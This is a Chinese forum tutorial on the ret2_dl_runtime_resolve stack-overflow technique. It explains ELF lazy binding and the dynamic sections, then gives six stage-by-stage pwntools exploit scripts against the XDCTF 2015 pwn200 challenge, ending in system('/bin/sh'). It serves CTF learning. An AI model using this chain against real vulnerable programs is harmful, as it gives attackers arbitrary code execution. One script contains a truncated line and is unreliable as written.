吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 5309|回复: 14
收起左侧

[调试逆向] ret2_dl_runtime_resolve高级栈溢出利用思路

  [复制链接]
peiwithhao 发表于 2022-10-17 19:24
本帖最后由 peiwithhao 于 2022-10-17 19:49 编辑

基础知识
前段时间给堆的基础学的差不多了,今天我们来了解一下高级栈溢出漏洞(因为之前懒,所以栈溢出没学到高级阶段就直接开堆了,这篇文章默认大伙已经掌握栈溢出的基本知识),此漏洞乃妙中妙,基础不扎实的同学可以在读完《程序员的基本修养》动态链接那一章再来观看(这本书对于pwn所需的基本知识讲的十分详细,特别适合想要开始学习二进制漏洞的师傅),如果不是很了解的话也可以接下来往下观看,我会尽量将自己所懂的知识详细解释出来,上面推荐看书也是我的建议而已,也,若大伙懂类似于延迟绑定等基本知识的话就可以掠过我上面所讲。
闲聊就到此为止,我们首先来介绍一下在程序中十分重要的动态链接中延迟绑定的机制。大伙都知道,自从采用动态链接取代静态链接之后,虽然说咱们解决了程序复用的问题,但是动态链接还是有弱于静态链接的地方,那就是动态链接由于是在装载后确定某些符号的地址,这样就导致我们开始运行的时候会存在一个地址解析以及重定位的阶段,而静态链接程序的这一个阶段是在链接过程中就形成的,所以这导致了动态链接程序在运行初期会存在一个地址解析过程,因此会导致速度较静态链接程序慢那么一妞妞,但是相比之于他省下的内存空间来说还是小巫见大巫了。但是程序员们总会对其进行优化,那就是对于函数符号的解析并不是在程序一开始时进行,而是在你第一次使用到这个函数符号时才进行解析,这样就更加省下了很多解析时间,因为在某些程序中,即使里面包含某个函数,但是他自始至终都没使用过,如果我们把它解析了就相当于浪费了时间,这种推迟到我们第一次执行函数的时机也被形象的称为延迟绑定机制。以下程序均默认为32位。

延迟绑定
首先我们得知道,由于动态链接中采用了地址无关代码(PIC),所以我们需要在进行动态重定位的时候需要一个新的表(即GOT表),此表位于程序的.data段中,由于我们采用延迟绑定机制,所以GOT表分离出其中函数的部分,其函数部分又被重新划分为.plt 和.got.plt表,现在我们来看看.plt表的内部结构
屏幕截图 2022-10-17 102040.png
可以看到我们的整个plt表结构,他的每个表项有0x10大小,且其中第一个表项也就是0下标位是四个指令,这几个指令在之后再讲,首先我们先看到下面的一系列函数表项,咱们就拿read项来当作例子讲解(此时还没执行过read)。可以看到read表项的第一条指令为:jmp    DWORD PTR ds:0x804a010,即跳转到此地址的值所指向的地方,我们再看看他的值发现就是read@plt的第二个指令的地址,也就是说他从第一个指令跳转到第二个指令8 屏幕截图 2022-10-17 102835.png    
此时咱们分析第二条指令,这个指令可以看出就是将8压栈,这个数字我们过会儿讲解,然后最后一条指令就是:jmp 0x8048370 ,欸是不是很熟悉,对,他就是plt表项的第一项,也就是不存放函数表项的那一项,我在此用plt[0]来进行表示,我们再看看plt[0]的第一个指令这里就要进行一下说明了,这里先给出.plt与.got.plt的结构
20200630145105853.png 屏幕截图 2022-10-17 104718.png
咱们可以看到.got.plt的前三个项并不是函数的地址,而是Address of .dynamic、 Module ID、__dl_runtime_resolbe,而咱们的plt[0]首先就是将Module ID压栈,然后再进行jmp到__dl_runtime_resolve中,而我们都知道,假如咱们需要重定位一个函数的地址,咱们需要的是什么呢,无非就是一个lookup()函数,这个寻找函数即为找地址,除了函数,咱们还需要知道咱们本模块的ID好让链接器知道如何定位地址,还需要知道你解析的这个是哪个函数,所以总的来说咱们需要的就是一个函数,两个参数,由于我是在32位前提下进行理解,所以参数都分布在栈上,还记得我么刚刚push的两个值吗,根据从右到左原则,那个8就是我们需要的函数地址偏移,而第二个push的那就是.got.plt上保存的模块ID,而__dl_runtime_resolve函数就是咱们所需要的lookup()函数,他的功能就是将地址填入got表项中,所以在下次咱们调用read的时候当他执行第一条指令,他就会直接运行,而不是跳转到第二条指令。
[C] 纯文本查看 复制代码
PLT0:
push *(GOT + 4)
jump *(GOT + 8)
...
read@plt:
jmp *(read@GOT)
push n
jump PLT0

相关段基础知识
.dynamic段:
这个段可以说在动态链接过程中至关重要,可以通过他来访问到.dynsym、.dynstr等段,我们先来看看他的结构体
[C] 纯文本查看 复制代码
typedef struct {
  Elf32_Sword d_tag;
  union {
    Elf32_Word d_val;
    Elf32_Addr d_ptr;
  } d_un;
} Elf32_Dyn;

而dynmic段也就是由这个结构体组成的数组来构成,其中d_tag决定了后面d_un的含义,给出具体例子
d_tag类型 d_un含义
DT_SYMTAB 动态链接符号表地址,d_ptr表示“.dynsym”的地址
DT_STRTAB 动态链接字符串表地址,d_ptr表示“.dynstr”的地址
.rel.plt段:
其实严谨点来说应该叫.rel.*段,他是一类段,也就是说假如你的text段有重定位项,则编译器会生成.rel.text段来进行重定位的辅助作用,其结构体为下
[C] 纯文本查看 复制代码
typedef struct {
        Elf32_Addr r_offset;
        Elf32_Word r_info;
} Elf32_Rel;

成员 含义
r_offset 重定位入口的偏移。对于可重定位文件来说,这个值是该重定位入口所要修正的位置的第一个字节相对于段起始的偏移;对于可执行文件或共享对象文件来说,这个值是该重定位入口所要修正的位置的第一个字节的虚拟地址
r_info 这个成员的低8位表示重定位入口的类型,高24位表示重定位入口的符号在符号表中的下标
.dynsym段

先给出dynsym的数据结构定义
[C] 纯文本查看 复制代码
typedef struct
{
  Elf32_Word    st_name; //符号名,是相对.dynstr起始的偏移
  Elf32_Addr    st_value;
  Elf32_Word    st_size;
  unsigned char st_info; //对于导入函数符号而言,它是0x12
  unsigned char st_other;
  Elf32_Section st_shndx;
}Elf32_Sym; //对于导入函数符号而言,除st_name外其他字段都是0

跟其他段差不多,dynsym段就是这个数据结构们所组成的函数
.dynstr段
这个段就比较简单了,就是字符串的集合,咱们程序中所有的关于动态字符串的地址都存放在此,与其对应的就是.strtab段,它包含了一些段名等除开动态链接相关的字符串
__dl_runtime_resolve执行过程
首先其参数为__dl_runtime_resolve(link_map_obj,reloc_index),这俩参数在刚刚咱们以及解释了,首先该函数会通过link_map_obj找到.dynamic段的地址,然后可以依次得到.dynstr .dynsym .rel.plt的地址,然后通过reloc_index可知道所需重定位项在.rel.plt中的偏移,然后得到该重定位项后取r_info的前24位就可以得到该函数在符号表中的下标,再通过此来找到对应符号表然后得到该函数名在字符串表中的下标然后得到字符串表相应下标的字符串,然后动态链接器再对这个字符串进行解析然后将地址填入相应got表中。
漏洞利用基本思路
思路很简单,从上面咱们知道了实际上经过一系列转换,最后就是向动态链接器提供一个字符串然后让他找地址而已,所以我们的目标也很简单,就是将这个字符串给咱们改了。这里给出两个思路,分别对应于no relro和partial relro
思路一既然动态链接器会从 .dynamic节中索引到各个目标节,那如果我们可以修改动态节中的内容,那自然就很容易控制待解析符号对应的字符串,从而达到执行目标函数的目的。
思路二:由于动态链接器最后在解析符号的地址时,是依据符号的名字进行解析的。因此,一个很自然的想法是直接修改动态字符串表 .dynstr,比如把某个函数在字符串表中对应的字符串修改为目标函数对应的字符串。但是,动态字符串表和代码映射在一起,是只读的。此外,类似地,我们可以发现动态符号表、重定位表项都是只读的。但是,假如我们可以控制程序执行流,那我们就可以伪造合适的重定位偏移,从而达到调用目标函数的目的。然而,这种方法比较麻烦,因为我们不仅需要伪造重定位表项,符号信息和字符串信息,而且我们还需要确保动态链接器在解析的过程中不会出错。


由于思路一比较简单,就是构造新的字符串表然后修改.dynamic段中字符串表地址,所以我们就直接pass掉,转而对思路二进行分析。如果思路一不清楚的话也可以先看我将讲解的题目,理解之后对于思路一就会清晰许多。





漏洞利用
本次咱们使用的题目是ctf wiki上的题目进行讲解,我相信大家可以通过许多别的方式进行攻击,但是咱们今天主要是讲ret2_dl_runtime_resolve方式,所以不要想着为什么不直接这样这样,然后那样那样,这样不更简单吗这类想法了,这里提一嘴是因为我刚开始学的时候也是这样想的。
正片开始,这中利用方式的情景是在你不知道libc版本,而且程序中也并没有很多值得泄露的地址时可以采用,比如说就有system函数等,如果一个程序里面不包括system函数,libc版本不能确定,syscall也很难实现的话,咱们就可以采用此种形式,这也说明这种利用方式为什么被称作高级利用。
2015-xdctf-pwn200
由于是循序渐进的讲法,所以咱们通过不同的6个阶段来实现,逐步深入,这样大伙看着也不会累,因为如果直接给出全部exp的话可能真挺难看懂的。
首先依然是检查保护机制
屏幕截图 2022-10-17 141734.png
然后查看题目基本逻辑
屏幕截图 2022-10-17 141912.png 屏幕截图 2022-10-17 141926.png
可以清楚的看到存在栈溢出漏洞,咱们再查看函数部分以及看看有没有可以字符串
屏幕截图 2022-10-17 142029.png 屏幕截图 2022-10-17 142045.png
发现可以利用的资源极少,并且也不知道题目的libc版本(假装搞不到),所以这里咱们采用上述的ret2dl来进行利用。
stage 1
从题目逻辑可知在vul()中执行read函数的时候,存在栈溢出,且溢出长度为0x6c,所以首先咱们进行栈迁移(这里进行迁移是因为考虑到了可能有的题溢出长度较短,所以进行迁移到bss段上可以进行更好的部署),对于栈迁移的基础知识我在这儿就不细讲,大伙可以自行了解了解。
首先就是找下家(,我们在bss段基质上的0x800位置部署,然后将整个伪造栈大小定为0x800大,至此咱们来进行伪造,这里给出图方便理解。
屏幕截图 2022-10-17 144644.png
首先咱们将栈构造成如上图所示,当我们函数返回时我们都知道会进行一个:leave; ret;    其中这个leave的大致流程可以理解为:mov esp ebp; pop ebp ;   也就是栈恢复的过程,在进行返回后会变成如下图
屏幕截图 2022-10-17 144606.png
此时可以看到咱们的ebp已经被移到了指定地址,然后执行ret的时候就恰好执行了read函数,由于我们同时也布置了其中的参数,也就是在bss+0x800中输入payload,所以咱们之后输入的函数会出现在ebp所指向的那块地址,所以我们输入ebp+0x800+0x800 + ......,然后read函数返回,注意read返回地址那儿咱们填入的是leave;ret;地址,所以这时会再进行一个leave;这时候若咱们实现的效果就是esp指向了bss+0x800,然后ebp指向了bss+0x800+0x800,这样就实现了栈迁移。效果如下
屏幕截图 2022-10-17 145327.png
别忘了咱们还有个ret,所以如果咱们在刚刚构造payload的过程中再构造出write函数以及其返回参数,就可以实现调用write了,我们再在fake栈上构造出/bin/sh字符串,使得write调用,达成咱们stage1的目的。效果以及伪造栈如下:
屏幕截图 2022-10-17 150033.png 屏幕截图 2022-10-17 150348.png
最后给出阶段一的exp:
[Python] 纯文本查看 复制代码
from pwn import *
io = process('main_partial_relro_32')
elf = ELF('main_partial_relro_32')
read_addr = elf.plt['read']
write_addr = elf.plt['write']
context.log_level = "DEBUG"
context.terminal = ['tmux','splitw','-h']
bss_addr = elf.bss()
bss_addr += 0x800
leave_ret = 0x8048465
io.recvuntil('Welcome to XDCTF2015~!\n')
pl = b'a'*0x6c
pl += p32(bss_addr) + p32(read_addr) + p32(leave_ret)
pl += p32(0) + p32(bss_addr) + p32(100)

io.sendline(pl)
#gdb.attach(io)
pl = p32(bss_addr + 0x100)

pl += p32(write_addr) + p32(0xdeadbeef) + p32(1) + p32(bss_addr + 32) + p32(7)
#pl += p32(write_addr) + p32(0xdeadbeef) + p32(1) + p32(elf.got['write']) + p32(4)

pl += b'a'*8 + b'/bin/sh'
io.sendline(pl)
io.interactive()



stage 2
到了阶段二,咱们就差不多开始正式接触该利用方式了,首先我们知道在第一次调用write前会push两个参数,然后会调用__dl_runtime_resolve函数,这次咱们主动点,别等他自己跳过去,咱们帮他一手。
首先我们通过readelf -s main 查看plt表开始地址
屏幕截图 2022-10-17 151156.png
这里可以看到0x8048370即为他的开始地址,我们知道plt表的第0项为一串代码,这串代码将模块ID压入栈中并且跳转dl函数进行解析,所以这次咱们需要调整栈布局,由于此时咱们是要直接执行plt[0],所以直接在ret处进行构造,具体布局如下
屏幕截图 2022-10-17 151940.png
但是这里还存在一个问题,就是如果我们想通过他来调用write函数,那n如何确定呢(这里的n就是.rel.plt表中对应write函数表项的地址),首先我们需要知道write函数的plt表项在plt表中是第几个表项,若假设其为第n个表项,由于plt表的0位置处是一段代码,所以write的在.rel.plt表项中的即为第n-1个表项
屏幕截图 2022-10-17 152541.png
从上图应该可以大致了解其中含义,即表项都是相对应的,此时我们通过调试可以看到write函数的表项在plt中的下标为6,因此可以判断其重定位表项在.rel.plt中的偏移为5*0x8(.rel.plt中一个表项为八字节大小)
屏幕截图 2022-10-17 164344.png
所以咱们将得出的n填入payload即可。下面给出本阶段的exp:
[Python] 纯文本查看 复制代码
from pwn import *
io = process('main_partial_relro_32')
elf = ELF('main_partial_relro_32')
read_addr = elf.plt['read']
write_addr = elf.plt['write']
context.log_level = "DEBUG"
context.terminal = ['tmux','splitw','-h']
bss_addr = elf.bss()
bss_addr += 0x800
leave_ret = 0x8048465
io.recvuntil('Welcome to XDCTF2015~!\n')
pl = b'a'*0x6c
pl += p32(bss_addr) + p32(read_addr) + p32(leave_ret)
pl += p32(0) + p32(bss_addr) + p32(0x100)

io.sendline(pl)
pl2 = p32(bss_addr +0x800 )
#== get the plt[0] address
plt0 = elf.get_section_by_name('.plt').header.sh_addr
pl2 += p32(plt0)
#=== calculate the write index in .rel.plt==#
write_index = int((write_addr - plt0)/16 - 1)*8
print(write_index)
pl2 += p32(write_index)+ p32(0xdeadbeef) + p32(1) + p32(bss_addr + 32) + p32(7)
pl2 += b'a'*4 + b'/bin/sh' + b'\x00'
pl2 += b'a'*(0x0ff-len(pl2))
io.sendline(pl2)

io.interactive()

stage 3
到达stage3之后咱们就要正正式开启咱们的构造之旅了,首先在上一阶段咱们通过直接调用plt[0]上的指令进行主动绑定,但是实际上咱们没做出甚么改变,如果真有改变,那就是少了一两条指令的执行时间,但优化程序并不是咱们想要得到的,所以此时咱们要回忆前面讲的基础知识部分,就是.rel.plt重定位项的地址是通过咱们的.rel.plt基地址加上我们的虚拟参数n得出来的,于是我们来换个定位,也就是在咱们的栈上构造.rel.plt项然后定位他,这是因为如果咱们只能被动的调用已有的重定位项的话达不到漏洞利用的效果,所以咱们就需要一个自主构建的重定位项,于是咱们就在栈上构造一个。
咱们通过read -a main 来查看.rel.plt中的内容
屏幕截图 2022-10-17 170712.png
从这里可以看到write重定位表项的内容,所以此时咱们在栈上构造一个一模一样的出来,其构造完成的栈布局如下(这里注意r_offset的值即为.got.plt中表项的地址值)
屏幕截图 2022-10-17 171102.png
现在是好了,但是咱们需要定位到这个咱们伪造的表项上该怎么办呢,那就是修改reloc_index也就是咱们的n,这个n我们可以通过以下公式来得出:
n = fake_rel_plt - .rel.plt;
其中fake_rel_plt 即为咱们在栈上构造的rel表项的地址。以此来构造之后咱们就是通过自己构造的rel表项来进行定位,然后执行write,阶段性成果如下
屏幕截图 2022-10-17 171827.png
然后附上本阶段的exp:
[Python] 纯文本查看 复制代码
from pwn import *
io = process('main_partial_relro_32')
elf = ELF('main_partial_relro_32')
read_addr = elf.plt['read']
write_addr = elf.plt['write']
context.log_level = "DEBUG"
context.terminal = ['tmux','splitw','-h']
bss_addr = elf.bss()
bss_addr += 0x800
leave_ret = 0x8048465
io.recvuntil('Welcome to XDCTF2015~!\n')
pl = b'a'*0x6c
pl += p32(bss_addr) + p32(read_addr) + p32(leave_ret)
pl += p32(0) + p32(bss_addr) + p32(0x100)

io.sendline(pl)
#== get the plt[0] address
plt0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
#=== calculate the write index in .rel.plt==#
#=== forge the fake offset of .rel.plt ==#
#=== calcultate the index ==#
write_got = elf.got['write']        # write_address struct in .rel.plt 
write_index = bss_addr +40 - rel_plt
pl2 = p32(bss_addr +0x800 )
pl2 += p32(plt0)
pl2 += p32(write_index)+ p32(0xdeadbeef) + p32(1) + p32(bss_addr + 32) + p32(7)
pl2 += b'a'*4 + b'/bin/sh' + b'\x00'
 
pl2 += p32(write_got) + p32(0x607) # fake offset and info
pl2 += b'a'*(0x100-len(pl2
gdb.attach(io)
io.sendline(pl2)

io.interactive()

stage 4
上一阶段咱们通过自行构造rel来实现了函数调用,此阶段咱们更进一步,那就是再伪造一个表。我们先来回顾以下基础知识,在咱们通过reloc_index获得rel.plt的地址后,就找到了其中的r_info,而r_info的高24位为.dynsym中对应函数表项的下标,低八位为标志位,一般不变动,这里咱们发现了一个不变的表,跟上一阶段一样,不受咱们控制的项我们调用他的话是无法进行攻击的,所以我们要据此来构造一个dynsym表项,但是这里需要注意地址对齐,由于.dynsym表项每个均为0x10大小,也就是说在找对应的dynsym表项时都是每0x10来进行查找的,所以咱们的地址偏移必须得对上,这里举个例子,如果咱们的.dynsym表的起始地址为0x80487cc,则他的每个表项的起始地址也必须都是以c结尾,咱们可以通过使用readelf -x .dynsym main 来进行查看
屏幕截图 2022-10-17 173116.png
结果发现完全一致。不知大伙是否还记得,上面咱们得到的write函数的rel项的r_info 为0x607,将他右移八位可得0x6,此即为.dynsym中对应表项的偏移,从上图可以知道对应偏移的表项内容为[0x4c,0x0,0x0,0x12]
屏幕截图 2022-10-17 173516.png
所以咱们现在的任务就是像stage3 中一样在栈上构造一个dynsym表项,但是记住要进行地址对齐,进行对齐构造后栈布局如下
屏幕截图 2022-10-17 174116.png
由于栈布局太长我就掉了个头。之后我们需要调用到该伪造的dynsym表项就需要咱们修改上一阶段构造的rel.plt表项的r_info的内容,但是这个值该如何得到呢,我们可以通过以下思路来得到:
fake_dynsym = .dynsym + (r_info>>8) * 0x10
即为:(r_info>>8) = (fake_dynsym - .dynsym)/0x10获得,可以该值再左移八位后并不能称其为r_info,因为左移八位其低八位就是0,所以我们此时需要再或上0x7,这个0x07就是之前得到的低八位。
所以说new_r_info = ((fake_dynsym - .dynsym)/0x10)<<8|0x07
因此新r_info就此形成,我们此时再将其填入之前构造的rel表项中即可。但是这次并没有像之前一样顺利,这次发现理论上可行的方案行不通,
屏幕截图 2022-10-17 184810.png
这里失败的具体原因并不是说构造过程出了错误,而是说在ld_linux.so,即链接器那儿有个检查出了错,这里我给出解决方案的链接,由于其中涉及到了源码分析,而我自身还没理解透彻,也仅仅是停留在会绕过部分,这里我贴上ctf-wiki上的解释,不过我感觉讲的还是些许潦草,也可能是我自身太菜
https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve/#no-relro

当我依照上述找到一个ndx_index为0的地址时,再将bss往后偏移一定的值就可以成果得出结果 屏幕截图 2022-10-17 190006.png
这里再附上stage 4 的exp
[Python] 纯文本查看 复制代码
from pwn import *
io = process('main_partial_relro_32')
elf = ELF('main_partial_relro_32')
read_addr = elf.plt['read']
write_addr = elf.plt['write']
context.log_level = "DEBUG"
context.terminal = ['tmux','splitw','-h']
def slog(name,address) : io.success(name + '==>'+ hex(address))

bss_addr = elf.bss()
slog('bss',bss_addr)
bss_addr += 0x800 + int((0x80487c2-0x80487aa)/2*0x10) 
#bss_addr += 0x800 
leave_ret = 0x8048465
io.recvuntil('Welcome to XDCTF2015~!\n')
pl = b'a'*0x6c
pl += p32(bss_addr) + p32(read_addr) + p32(leave_ret)
pl += p32(0) + p32(bss_addr) + p32(0x100)

io.sendline(pl)
#== get the plt[0] .rel.plt and dynsym address 
plt0 = elf.get_section_by_name('.plt').header.sh_addr
slog('plt0',plt0)
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
slog('.rel.plt',rel_plt)
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
slog('.dynsym',dynsym)
#== get the gnu_version for bypass the ld-linux wrong ==#
gnu_version_addr = elf.get_section_by_name('.gnu.version').header.sh_addr
#=== calculate the write index in .rel.plt==#
#=== forge the fake offset of .rel.plt ==#
#=== calcultate the index ==#
write_got = elf.got['write']        # write_address struct in .rel.plt 
write_index = bss_addr + 40 - rel_plt

#===== compose the fake dynsym ======#
fake_dynsym = p32(0x4c) + p32(0) + p32(0) + p32(0x12)
#===== reverse the fake info(use the math!!!)===#
#====get the dynsym index =====#
#==== get the fake dynsym address ==#
fake_sym_addr = bss_addr + 48
align = 0x10-((fake_sym_addr - dynsym)&0xf)
fake_sym_addr += align
slog('fake_sym_addr',fake_sym_addr)
index_dynsym = int((fake_sym_addr - dynsym)/0x10)
r_info = (index_dynsym << 8)|0x7
print('ndx_addr: %s'% hex(gnu_version_addr + index_dynsym*2))
slog('dynsym_index',index_dynsym)
slog('r_info',r_info)
slog('re_r_info',r_info>>8)

pl2 = p32(bss_addr +0x800 )
pl2 += p32(plt0)
pl2 += p32(write_index)+ p32(0xdeadbeef) + p32(1) + p32(bss_addr + 32) + p32(7)
pl2 += b'a'*4 + b'/bin/sh' + b'\x00'
 
pl2 += p32(write_got) + p32(r_info) # fake offset and info
pl2 += b'a'*align + fake_dynsym         # align
pl2 += b'a'*(0x100-len(pl2))
gdb.attach(io)
io.sendline(pl2)
sleep(1)
io.interactive()

stage 5
到阶段五为止,我们已经成功构造了rel.plt、dynsym相应的表项,此时我们知道当dl函数解析到dynsym表项之后会通过其中的name值作为dynstr表的偏移,所以此时我们在栈上构造出相应字符串,也就是write,再计算出他到达dynstr表头的地址,将其地址填入我们伪造的.dynsym表项中即可,此时咱们的栈结构如下
屏幕截图 2022-10-17 190648.png
这里的地址可以通过以下公式得到:
fake_str = dynsym->name + .dynstr
dynsym->name = fake_str - .dynstr
这样就使得在整个寻找字符串过程中都是咱们在控制,甚至连最后要解析的字符串都由咱们控制。再次执行
屏幕截图 2022-10-17 191156.png
附上stage 5 exp:
[Python] 纯文本查看 复制代码
from pwn import *
io = process('main_partial_relro_32')
elf = ELF('main_partial_relro_32')
read_addr = elf.plt['read']
write_addr = elf.plt['write']
context.log_level = "DEBUG"
context.terminal = ['tmux','splitw','-h']
def slog(name,address) : io.success(name + '==>'+ hex(address))

bss_addr = elf.bss()
slog('bss',bss_addr)
bss_addr += 0x800 + int((0x80487c2-0x80487aa)/2*0x10) 
#bss_addr += 0x800 
leave_ret = 0x8048465
io.recvuntil('Welcome to XDCTF2015~!\n')
pl = b'a'*0x6c
pl += p32(bss_addr) + p32(read_addr) + p32(leave_ret)
pl += p32(0) + p32(bss_addr) + p32(0x100)

io.sendline(pl)
#== get the plt[0] .rel.plt and dynsym address 
plt0 = elf.get_section_by_name('.plt').header.sh_addr
slog('plt0',plt0)
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
slog('.rel.plt',rel_plt)
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
slog('.dynsym',dynsym)
#== get the gnu_version for bypass the ld-linux wrong ==#
gnu_version_addr = elf.get_section_by_name('.gnu.version').header.sh_addr
#== get the .dynstr address ==#
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
#=== calculate the write index in .rel.plt==#
#=== forge the fake offset of .rel.plt ==#
#=== calcultate the index ==#
write_got = elf.got['write']        # write_address struct in .rel.plt 
write_index = bss_addr + 40 - rel_plt
#===== reverse the fake info(use the math!!!)===#
#====get the dynsym index =====#
#==== get the fake dynsym address ==#
fake_sym_addr = bss_addr + 48
align = 0x10-((fake_sym_addr - dynsym)&0xf)
fake_sym_addr += align
slog('fake_sym_addr',fake_sym_addr)
#=== st_name + .synstr = fake_sym_addr + 0x10 = address of str'write'==#
st_name = fake_sym_addr + 0x10 - dynstr
slog('st_name',st_name)
#===== compose the fake dynsym ======#
fake_dynsym = p32(st_name) + p32(0) + p32(0) + p32(0x12)
index_dynsym = int((fake_sym_addr - dynsym)/0x10)
r_info = (index_dynsym << 8)|0x7
print('ndx_addr: %s'% hex(gnu_version_addr + index_dynsym*2))
slog('dynsym_index',index_dynsym)
slog('r_info',r_info)
slog('re_r_info',r_info>>8)

pl2 = p32(bss_addr +0x800 )
pl2 += p32(plt0)
pl2 += p32(write_index)+ p32(0xdeadbeef) + p32(1) + p32(bss_addr + 32) + p32(7)
pl2 += b'a'*4 + b'/bin/sh' + b'\x00'
 
pl2 += p32(write_got) + p32(r_info) # fake offset and info  bss + 40
pl2 += b'a'*align + fake_dynsym         # align:4  bss + 48
#=== put the str'write' to the bss_stack
pl2 += b'write\x00'     # bss + 68
pl2 += b'a'*(0x100-len(pl2))
gdb.attach(io)
io.sendline(pl2)

io.interactive()

stage 6
回顾过往,咱们从自主调用write到一步步修改底层调用,一环套一环,从而最终实现了让dl函数解析咱们自己任意填的函数名,这样过后就说明我们可以将任何函数的绝对地址填入write的got表项中,所以此阶段咱们只需将解析字符串改为system,然后将参数修改以下即可,具体栈布局如下
屏幕截图 2022-10-17 191904.png
这样即可实现最终的system('/bin/sh')调用,执行!
屏幕截图 2022-10-17 191924.png
成功!!最后再附上stage 6,也是最终的exp:
[Python] 纯文本查看 复制代码
from pwn import *
io = process('main_partial_relro_32')
elf = ELF('main_partial_relro_32')
read_addr = elf.plt['read']
write_addr = elf.plt['write']
context.log_level = "DEBUG"
context.terminal = ['tmux','splitw','-h']
def slog(name,address) : io.success(name + '==>'+ hex(address))

bss_addr = elf.bss()
slog('bss',bss_addr)
bss_addr += 0x800 + int((0x80487c2-0x80487aa)/2*0x10) 
#bss_addr += 0x800 
leave_ret = 0x8048465
io.recvuntil('Welcome to XDCTF2015~!\n')
pl = b'a'*0x6c
pl += p32(bss_addr) + p32(read_addr) + p32(leave_ret)
pl += p32(0) + p32(bss_addr) + p32(0x100)

io.sendline(pl)
#== get the plt[0] .rel.plt and dynsym address 
plt0 = elf.get_section_by_name('.plt').header.sh_addr
slog('plt0',plt0)
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
slog('.rel.plt',rel_plt)
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
slog('.dynsym',dynsym)
#== get the gnu_version for bypass the ld-linux wrong ==#
gnu_version_addr = elf.get_section_by_name('.gnu.version').header.sh_addr
#== get the .dynstr address ==#
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
#=== calculate the write index in .rel.plt==#
#=== forge the fake offset of .rel.plt ==#
#=== calcultate the index ==#
write_got = elf.got['write']        # write_address struct in .rel.plt 
write_index = bss_addr + 40 - rel_plt
#===== reverse the fake info(use the math!!!)===#
#====get the dynsym index =====#
#==== get the fake dynsym address ==#
fake_sym_addr = bss_addr + 48
align = 0x10-((fake_sym_addr - dynsym)&0xf)
fake_sym_addr += align
slog('fake_sym_addr',fake_sym_addr)
#=== st_name + .synstr = fake_sym_addr + 0x10 = address of str'write'==#
st_name = fake_sym_addr + 0x10 - dynstr
slog('st_name',st_name)
#===== compose the fake dynsym ======#
fake_dynsym = p32(st_name) + p32(0) + p32(0) + p32(0x12)
index_dynsym = int((fake_sym_addr - dynsym)/0x10)
r_info = (index_dynsym << 8)|0x7
print('ndx_addr: %s'% hex(gnu_version_addr + index_dynsym*2))
slog('dynsym_index',index_dynsym)
slog('r_info',r_info)
slog('re_r_info',r_info>>8)

pl2 = p32(bss_addr +0x100 )
pl2 += p32(plt0)
pl2 += p32(write_index)+ p32(0xdeadbeef) + p32(bss_addr + 32) + p32(bss_addr + 32) + p32(7)
pl2 += b'a'*4 + b'/bin/sh' + b'\x00'
 
pl2 += p32(write_got) + p32(r_info) # fake offset and info  bss + 40
pl2 += b'a'*align + fake_dynsym         # align:4  bss + 48
#=== put the str'write' to the bss_stack
pl2 += b'system\x00'     # bss + 68
pl2 += b'a'*(0x100-len(pl2))
io.sendline(pl2)

io.interactive()



总结
如果跟着上面一路走完会发现其实并没有很难,但是要说有什么的话那就是阶段4的ld的解析检查没摸明白,其中的原理还需要进行源码调试才能看出。

免费评分

参与人数 7吾爱币 +6 热心值 +6 收起 理由
wuxiuxin + 1 我很赞同!
sam喵喵 + 1 谢谢@Thanks!
fengbolee + 2 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
Lucifer_BW + 1 + 1 热心回复!
HUAJIEN + 1 + 1 谢谢@Thanks!
lingyun011 + 1 + 1 用心讨论,共获提升!
yunji + 1 用心讨论,共获提升!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

fgrt38176 发表于 2022-10-17 20:25
谢谢分享,学习了
lingyun011 发表于 2022-10-17 22:58
yis1 发表于 2022-10-17 23:03
幸运之吹笛人 发表于 2022-10-17 23:07
多谢大大的分享
dlovec 发表于 2022-10-17 23:34
有点难度啊 慢慢学习
251345888 发表于 2022-10-17 23:57
谢谢分享啊爱上啊撒撒是 谢谢的。。。。。。
kanxue2018 发表于 2022-10-18 09:25
图文并茂,分析很详细
kanxue2018 发表于 2022-10-18 22:56
图文并茂,分析很详细
hjw01 发表于 2022-10-19 16:20
又一帖精华文章
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则 警告:本版块禁止灌水或回复与主题无关内容,违者重罚!

快速回复 收藏帖子 返回列表 搜索

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-4-24 14:07

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表